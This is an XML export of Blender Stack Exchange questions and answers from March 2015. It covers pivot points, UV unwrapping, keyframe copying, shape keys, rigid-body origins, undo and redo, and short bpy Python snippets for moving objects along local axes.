  <row Id="26835" PostTypeId="1" AcceptedAnswerId="26836" CreationDate="2015-03-08T23:54:13.170" Score="1" ViewCount="7026" Body="&lt;p&gt;When I started using Blender whenever I clicked an object the pivot point would immediately be at the center of whatever I clicked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it just stays where it was last put and doesn't move until you manually do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BuCOv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y3use.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13024" LastActivityDate="2015-03-08T23:59:31.040" Title="Why won't the pivot point/3D cursor move to center of object anymore?" Tags="&lt;3d-cursor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26836" PostTypeId="2" ParentId="26835" CreationDate="2015-03-08T23:59:31.040" Score="6" Body="&lt;p&gt;You have you piviot point set wrong, try &lt;kbd&gt;,&lt;/kbd&gt; on your keyboard:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5MvWR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;In red is what you have it set to, in green are options that will achieve the result you want&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-08T23:59:31.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26837" PostTypeId="2" ParentId="26791" CreationDate="2015-03-09T00:04:29.940" Score="2" Body="&lt;p&gt;You can unwrap the selected portion, like you have in your image while leaving all the rest of the UVs untouched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting with the UV layout you have in your bottom picture, in the UV editor, press &lt;kbd&gt;P&lt;/kbd&gt; to pin the UVs. That will keep them in that layout, but only for the UV &lt;em&gt;unwrap&lt;/em&gt; operation. All the other operations will ignore the pins if you have the entire sphere selected. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/O9gHR.png&quot; alt=&quot;UV map with pinned uvs&quot;&gt;&lt;br&gt;&#xA;In this picture I first unwrapped the middle part of the sphere using &lt;em&gt;Follow Active Quads&lt;/em&gt; (the pinned rectangular UVs), then one at a time selected the top and bottom and unwrapped with &lt;em&gt;Project From View&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus what you can do is when you UV wrap the sphere only select the pieces you want want unwrapped, leaving all the previously unwrapped sections deselected.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-03-09T00:04:29.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26838" PostTypeId="2" ParentId="21250" CreationDate="2015-03-09T01:13:37.397" Score="1" Body="&lt;p&gt;add a 'Filter' in each cube, that is the localized hit point for 'Buildible' faces,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then use .hitPosition and localize it, (this is using a rayCast)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    offset= Vector([5,0,0])&#xA;    offset = own.worldPosition+(own.worldOrientation*offset)&#xA;    Ray = own.rayCast(offset,own.worldPosition,0,'',1,1,0)&#xA;    ## attempting to localize hit point to hit object Ray[0]=hitObject&#xA;    ## Ray[1]=HitPosition&#xA;    Diff = Ray[0].worldPosition-Ray[1]&#xA;    Diff = Ray[0].worldOrientation.inverted()*Diff&#xA;    ## this will be used to then check to see if this type of part&#xA;    ## can go at this location and that the jack in unoccupied and &#xA;    ## that the unit the part is hooking to is friendly&#xA;    Diff*=-1&#xA;    own['localHit']=str(Diff)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is then used to check against hit jacks and put the block there, so you can build on a grid, but also you can define other setups like grid size vs block&lt;/p&gt;&#xA;" OwnerUserId="13034" LastEditorUserId="13034" LastEditDate="2015-03-09T02:11:26.183" LastActivityDate="2015-03-09T02:11:26.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26839" PostTypeId="1" AcceptedAnswerId="26840" CreationDate="2015-03-09T03:27:16.187" Score="4" ViewCount="1069" Body="&lt;p&gt;I have a scene set up with fractured objects and ridged body physics. What I am trying to do is set up the physics to start later in the scene using keyframes on either the ANIMATED or the DYNAMIC options. I am running into a problem where I can set up the keyframes great on the active object, but when I hit COPY FROM ACTIVE to apply to the rest of my fractured group objects, the keyframes don't move over with the rest of the data. Is there an easy way to send the keyframes to the rest of the selected objects? &lt;/p&gt;&#xA;" OwnerUserId="13042" LastActivityDate="2015-03-09T03:40:16.773" Title="Copying ANIMATED keyframes from active to group (Ridged body)" Tags="&lt;physics&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26840" PostTypeId="2" ParentId="26839" CreationDate="2015-03-09T03:40:16.773" Score="4" Body="&lt;p&gt;Yes, what you need to do is use &lt;strong&gt;copy animation data&lt;/strong&gt;. Do this by selecting all your objects, the active should be the one you want to copy the key frames from, hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;L&lt;/kbd&gt;&gt;&lt;em&gt;Animation Data&lt;/em&gt; to copy the keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; This will copy all animation data, so if you have other keyframs like location or scale, this will be copied two&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-03-09T03:40:16.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26841" PostTypeId="1" AcceptedAnswerId="26843" CreationDate="2015-03-09T03:48:07.990" Score="6" ViewCount="12418" Body="&lt;p&gt;Is there anyway of doing this with a keyboard shortcut without manually hiding each object on the scenes panel? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remember vaguely there was a way to do this in 3DS max. &lt;/p&gt;&#xA;" OwnerUserId="13024" LastEditorUserId="599" LastEditDate="2015-03-09T06:07:59.547" LastActivityDate="2015-03-09T09:36:34.077" Title="Is there a shortcut to hide everything else except the object that's selected?" Tags="&lt;interface&gt;&lt;objects&gt;&lt;3d-view&gt;&lt;shortcut&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26843" PostTypeId="2" ParentId="26841" CreationDate="2015-03-09T04:05:31.280" Score="14" Body="&lt;p&gt;Press &lt;kbd&gt;/&lt;/kbd&gt; on the numpad for &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/Global_or_Local_View&quot;&gt;Local View&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press it again to go back and toggle it off.&lt;/p&gt;&#xA;" OwnerUserId="7605" LastEditorUserId="3710" LastEditDate="2015-03-09T09:36:34.077" LastActivityDate="2015-03-09T09:36:34.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26844" PostTypeId="1" CreationDate="2015-03-09T04:05:48.673" Score="1" ViewCount="62" Body="&lt;p&gt;I've been unable to get the layered texturing add-on to work with blender 2.73a. I think this is because the update altered some things, thus the add-on broke. Is there a version out there that works or an alternative one I could use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13060" LastActivityDate="2015-03-09T04:05:48.673" Title="Alternatives to Layered Texturing Blender 2.73a?" Tags="&lt;texturing&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26845" PostTypeId="1" CreationDate="2015-03-09T04:11:01.357" Score="4" ViewCount="7047" Body="&lt;p&gt;How can I reset or place the center of gravity for an active ridged body object? I am having an issue where the center of gravity for an object is placed far too high for accurate physics. &lt;/p&gt;&#xA;" OwnerUserId="13042" LastEditorUserId="599" LastEditDate="2015-03-09T06:02:19.123" LastActivityDate="2015-03-09T06:02:19.123" Title="Center of gravity for an object" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26846" PostTypeId="2" ParentId="26498" CreationDate="2015-03-09T04:27:22.443" Score="3" Body="&lt;p&gt;This answer has some relevant code for finding vertices without weights: &lt;a href=&quot;https://blender.stackexchange.com/questions/8075/checking-if-a-vertex-belongs-to-a-vertex-group-in-python&quot;&gt;Checking if a vertex belongs to a vertex group in python&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on that you might try something along these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;auto_weights = 0.1                             &#xA;ob = bpy.data.objects['NameOfYourMeshObject']  &#xA;&#xA;for v in ob.data.vertices:                     # for each vertex&#xA;    for g in v.groups:                         # for each vertex group in the mesh&#xA;        if g.weight == 0.0:                    # if the vertex is unweighted&#xA;            g.weight = auto_weight             # then set the weight&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This probably isn't quite right, you might need another test to check if a vertex is in a &lt;strong&gt;vertex group&lt;/strong&gt; or not, depending on the details of your problem.&lt;/p&gt;&#xA;" OwnerUserId="813" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-03-09T04:27:22.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26847" PostTypeId="1" AcceptedAnswerId="26850" CreationDate="2015-03-09T05:16:42.807" Score="2" ViewCount="748" Body="&lt;p&gt;I need to animate a multi step change in a mesh like this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3bhfx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set a shape key for the base and then step 2 fine but when I used &lt;code&gt;new shape key from mix&lt;/code&gt; it applied the transformation for both step 2 and 3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xMZfC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the shape key to only apply changes from step 2 to 3 and not from 1 to 3?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2015-03-09T08:11:01.570" Title="How do I chain shape keys?" Tags="&lt;workflow&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26848" PostTypeId="2" ParentId="26845" CreationDate="2015-03-09T06:02:10.177" Score="5" Body="&lt;p&gt;The center of gravity is placed at the object origin. To put move the object origin, press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Center of Mass&lt;/em&gt; will put the origin (center of gravity) at the center of mass, assuming a uniform density.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;3D cursor&lt;/em&gt; will put the origin at the 3D cursor, allowing for more customized setups.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-03-09T06:02:10.177" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26849" PostTypeId="2" ParentId="26841" CreationDate="2015-03-09T06:07:42.153" Score="14" Body="&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/a/26843/599&quot;&gt;answered by AttackingHobo&lt;/a&gt;, you can use &lt;kbd&gt;Numpad /&lt;/kbd&gt; to toggle &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/Global_or_Local_View&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Local view&lt;/em&gt;&lt;/a&gt;.&#xA;This will kind of do what you describe, and I prefer it to hiding other objects as it preserves object visibility settings for when you unhide everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can also use &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; to set the viewport visibility of all unselected objects to hidden. &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; will set the viewport visibility to visible again.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-03-09T06:07:42.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26850" PostTypeId="2" ParentId="26847" CreationDate="2015-03-09T07:08:37.520" Score="3" Body="&lt;p&gt;If you add two shape keys without the &lt;em&gt;new shape key from mix&lt;/em&gt; option, you can animate them separately. It is Important is that you keyframe the 2nd part of the animation with influence 0 for the duration of the first part. This way the 2nd part does not start before it is supposed to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M74aV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ojLFA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/86/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=86&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing the shape for extrusion: In &lt;em&gt;Edit Mode&lt;/em&gt; a loopcut is added at the top of the extruded cube to create the geometry required for the second part of the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iXZY0.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-03-09T08:11:01.570" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26851" PostTypeId="1" AcceptedAnswerId="26868" CreationDate="2015-03-09T07:33:41.480" Score="1" ViewCount="334" Body="&lt;p&gt;As a new-ish Blender user, I'm still not entirely familiar with how to do everything in Blender. I've been attempting to create an animation of the lateral area of a cone unwrapping into a 2-D semicircle thing: however, I've found no good way to separate out each area of the cone for rigid-body bound animation. Any and all help is appreciated: if you need a .blend, just ask, but it's really just a cone on an otherwise blank area, so I don't think it's necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5661" LastActivityDate="2015-03-10T07:28:05.507" Title="Creating an Unwrapping Animation (NOT texturing)" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26852" PostTypeId="1" AcceptedAnswerId="26857" CreationDate="2015-03-09T07:35:07.973" Score="11" ViewCount="22254" Body="&lt;p&gt;Read through a lot of questions but I didn't find a simple answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I move an object on it's local axis using a vector? I don't want to use bpy.ops.transform.translate, because it's slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given an object that is rotated and an example vector (1,2,3). How can I do a translation on the local axis, so the object is moved 1 on it's local x-axis, 2 on the local y-axis, 3 on the local z-axis. Just like in the viewport, when you move an object pressing &quot;g&quot; and then pressing the x-axis key (or y / z) twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;So from a C++ post I understand the math behind it, still I'm unable to reproduce it in Blender.&#xA;For the local translation T you have to do the translation first, then multiply it with the rotation matrix R.&#xA;So (pseudocode)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;myobject.location = T(1,2,3) * R&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Problems: &#xA;1.) How do I get R of the object that is already rotated. &#xA;2.) Can I just multiply a vector with that matrix?&#xA;3.) What about the location that the object had before? Just add it?&lt;/p&gt;&#xA;" OwnerUserId="8235" LastEditorUserId="8235" LastEditDate="2015-03-09T09:11:58.173" LastActivityDate="2020-07-10T18:26:04.690" Title="Python move object on local axis" Tags="&lt;python&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26853" PostTypeId="2" ParentId="26841" CreationDate="2015-03-09T08:33:35.853" Score="5" Body="&lt;p&gt;Although the other answers are correct, another possibility is to press &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt; to invert your selection and then pressing &lt;kbd&gt;H&lt;/kbd&gt; to hide. This works also in EDIT mode.&lt;/p&gt;&#xA;" OwnerUserId="8235" LastActivityDate="2015-03-09T08:33:35.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26854" PostTypeId="2" ParentId="26852" CreationDate="2015-03-09T08:56:20.903" Score="6" Body="&lt;p&gt;In order to make it faster you could also assign the values directly to the &lt;strong&gt;location property&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import mathutils&#xA;&#xA;# get the object&#xA;obj = bpy.data.objects[&quot;Object&quot;]&#xA;&#xA;# store the current location&#xA;loc = obj.location&#xA;&#xA;# adjustment values&#xA;(x,y,z) = (1.0,2.0,3.0)&#xA;&#xA;# adding adjustment values to the property&#xA;obj.location = loc + mathutils.Vector((x,y,z))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assigning and adding the values in &lt;strong&gt;one line&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects[&quot;Object&quot;].location = bpy.data.objects['Object'].location + Vector((x,y,z))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simple and fast is adding the adjustment values to &lt;strong&gt;each axis&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects[&quot;Object&quot;].location.x += 1.0&#xA;bpy.data.objects[&quot;Object&quot;].location.y += 2.0&#xA;bpy.data.objects[&quot;Object&quot;].location.z += 3.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11444" LastEditorUserId="3710" LastEditDate="2015-03-09T14:16:55.230" LastActivityDate="2015-03-09T14:16:55.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26855" PostTypeId="2" ParentId="26852" CreationDate="2015-03-09T10:10:27.847" Score="1" Body="&lt;p&gt;So I made this now, but I don't know if it's correct.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import mathutils&#xA;from mathutils import Vector, Matrix&#xA;&#xA;myobject = bpy.context.active_object&#xA;rotMat = myobject.rotation_euler.to_matrix()&#xA;pos = myobject.location&#xA;newPos = Vector([1, 2, 3])&#xA;myobject.location = newPos * rotMat + pos&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8235" LastActivityDate="2015-03-09T10:10:27.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26856" PostTypeId="1" AcceptedAnswerId="26858" CreationDate="2015-03-09T10:20:40.777" Score="4" ViewCount="1705" Body="&lt;p&gt;Just starting out, created a planar mesh, in edit mode, hit E to extrude, and I get this:&#xA;&lt;img src=&quot;https://imgur.com/yFDXaMR&quot; alt=&quot;extrude&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nMSPm.png&quot; alt=&quot;broken extrude&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extrude doesn't create any perpendicular faces or vertices, it just duplicates the flat mesh and grabs it. What's going on here?&lt;/p&gt;&#xA;" OwnerUserId="13062" LastActivityDate="2015-03-09T10:44:35.717" Title="Extrude seems broken" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26857" PostTypeId="2" ParentId="26852" CreationDate="2015-03-09T10:37:12.290" Score="6" Body="&lt;p&gt;This seems to work the inverse of the world matrix is used to align the translation vector to the local axis:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import mathutils&#xA;&#xA;cube = bpy.data.objects[&amp;quot;Cube&amp;quot;]&#xA;# one blender unit in x-direction&#xA;vec = mathutils.Vector((1.0, 0.0, 0.0))&#xA;inv = cube.matrix_world.copy()&#xA;inv.invert()&#xA;# vec aligned to local axis in Blender 2.8+&#xA;# in previous versions: vec_rot = vec * inv&#xA;vec_rot = vec @ inv&#xA;cube.location = cube.location + vec_rot&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="39137" LastEditDate="2020-07-10T18:26:04.690" LastActivityDate="2020-07-10T18:26:04.690" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26858" PostTypeId="2" ParentId="26856" CreationDate="2015-03-09T10:44:35.717" Score="6" Body="&lt;p&gt;I think you might have hit Extrude once, and not moved the mouse and now there are duplicates of every vertex. You can remove doubles and Extrude again, should work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what you're seeing:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0BfEa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select everything, press W -&gt; Remove doubles. Then try to extrude again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what you want to see&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lyBMz.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-03-09T10:44:35.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26860" PostTypeId="2" ParentId="26272" CreationDate="2015-03-09T14:48:08.250" Score="5" Body="&lt;p&gt;There are a couple issues. My first question is why are you using two scenes? That will really complicate things. In this answer I have only addressed one as you can copy that information to the second one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing I noticed is you have your makes layers set, and although that could be handy in many instances, it really is not necessary in this case. Go ahead and disable all of them on all render layers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uhKNs.jpg&quot; alt=&quot;Disable Mask Layers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you should try and change your compositor setup, all you need is something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9vfAY.jpg&quot; alt=&quot;Composite Nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This setup gives me a nice result, and the issues you mentioned appear to have been fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/87/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=87&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-03-09T14:48:08.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26861" PostTypeId="1" AcceptedAnswerId="26862" CreationDate="2015-03-09T14:51:19.963" Score="9" ViewCount="15311" Body="&lt;p&gt;When I pressed the undo button in object mode it somehow brought me waaaay back in my steps and I wanted to know if there was a shortcut to undo the undo? Or a step forward shortcut? &lt;/p&gt;&#xA;" OwnerUserId="13024" LastEditorUserId="3710" LastEditDate="2015-03-09T15:31:02.033" LastActivityDate="2018-02-11T15:09:56.660" Title="Step forward button in Blender (Redo)?" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26862" PostTypeId="2" ParentId="26861" CreationDate="2015-03-09T14:53:55.287" Score="13" Body="&lt;p&gt;To &lt;strong&gt;Redo&lt;/strong&gt; press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; to get a list of your undo history. Handy, if you've gone overboard with &lt;strong&gt;Undo&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3710" LastEditDate="2015-03-09T15:06:10.107" LastActivityDate="2015-03-09T15:06:10.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26863" PostTypeId="2" ParentId="26834" CreationDate="2015-03-09T14:59:14.010" Score="6" Body="&lt;p&gt;Okay the problem of flying around appears to be the collision ball size calculation. You had it set to average. When I set it to minimal, it worked. I admit, I have no idea why this happened, it may have been a collision fight with the plane, but changing it does fix your problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tweaked a few other settings to get it to look like the target animation, it's not perfect, but it's better than what you had. :)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Turned off Stiff quads (you don't want anything stiff on this guy.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turned friction up to 1.00 (that may have been part of your problem, he's as slippery as an eel) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Angled him a little so his legs don't fold up. (didn't work real well, but I'm sure if you try you can get it right)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And (optional) changed skin texture to something shiny so I could see bounding and stretching problems. (also that skin texture is disturbing :D)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So the effect isn't quite right, but hey! he doesn't head for Florida every time you hit play. Noodling him is your job as the artist. Have fun...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Td9Bx.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/88/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=88&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-03-09T17:06:29.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26864" PostTypeId="2" ParentId="26861" CreationDate="2015-03-09T15:06:01.610" Score="11" Body="&lt;p&gt;&lt;strong&gt;Since Einar explains how to get back, I'll explain why it happens.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens when you make edits in one mode (let's say edit mode) and then you switch out and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt;. As far as Blender is concerned, you have not done any more changes in Object mode, so it goes back one step, skipping all the edit mode changes. You will need to go back into edit mode in order to go back and undo steps in your changes in future. For now, follow Naioai Studios suggestion of using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; to re-do or &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; to show the undo history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an illustration of what I was saying:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x4vtl.gif&quot; alt=&quot;Undo Illustration&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;These are the standard shortcuts:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; is standard undo.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; is standard re-do.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; shows undo history.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2016-12-25T14:10:05.537" LastActivityDate="2016-12-25T14:10:05.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
